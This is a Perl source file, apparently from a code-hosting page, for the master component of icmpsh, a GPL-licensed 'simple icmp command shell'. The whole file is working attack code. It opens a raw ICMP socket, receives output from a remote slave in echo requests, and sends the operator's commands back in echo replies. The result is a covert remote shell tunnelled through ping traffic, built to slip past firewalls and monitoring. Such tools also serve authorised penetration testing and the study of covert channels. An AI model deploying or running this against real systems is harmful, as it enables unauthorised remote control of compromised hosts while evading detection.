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63 lines
2.1 KiB
Perl
63 lines
2.1 KiB
Perl
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#!/usr/bin/env perl
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#
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# icmpsh - simple icmp command shell
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# Copyright (c) 2010, Nico Leidecker <nico@leidecker.info>
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# This program is free software: you can redistribute it and/or modify
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# it under the terms of the GNU General Public License as published by
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# the Free Software Foundation, either version 3 of the License, or
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# (at your option) any later version.
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#
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# This program is distributed in the hope that it will be useful,
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# but WITHOUT ANY WARRANTY; without even the implied warranty of
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# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
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# GNU General Public License for more details.
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#
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# You should have received a copy of the GNU General Public License
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# along with this program. If not, see <http://www.gnu.org/licenses/>.
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#
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use strict;
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use IO::Socket;
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use NetPacket::IP;
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use NetPacket::ICMP qw(ICMP_ECHOREPLY ICMP_ECHO);
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use Net::RawIP;
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use Fcntl;
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print "icmpsh - master\n";
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# create raw socket
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my $sock = IO::Socket::INET->new(
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Proto => "ICMP",
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Type => SOCK_RAW,
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Blocking => 1) or die "$!";
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# set stdin to non-blocking
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fcntl(STDIN, F_SETFL, O_NONBLOCK) or die "$!";
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print "running...\n";
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my $input = '';
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while(1) {
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if ($sock->recv(my $buffer, 4096, 0)) {
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my $ip = NetPacket::IP->decode($buffer);
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my $icmp = NetPacket::ICMP->decode($ip->{data});
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if ($icmp->{type} == ICMP_ECHO) {
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# get identifier and sequencenumber
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my ($ident,$seq,$data) = unpack("SSa*", $icmp->{data});
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# write data to stdout and read from stdin
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print $data;
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$input = <STDIN>;
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# compile and send response
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$icmp->{type} = ICMP_ECHOREPLY;
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$icmp->{data} = pack("SSa*", $ident, $seq, $input);
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my $raw = $icmp->encode();
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my $addr = sockaddr_in(0, inet_aton($ip->{src_ip}));
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$sock->send($raw, 0, $addr) or die "$!\n";
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}
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}
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}
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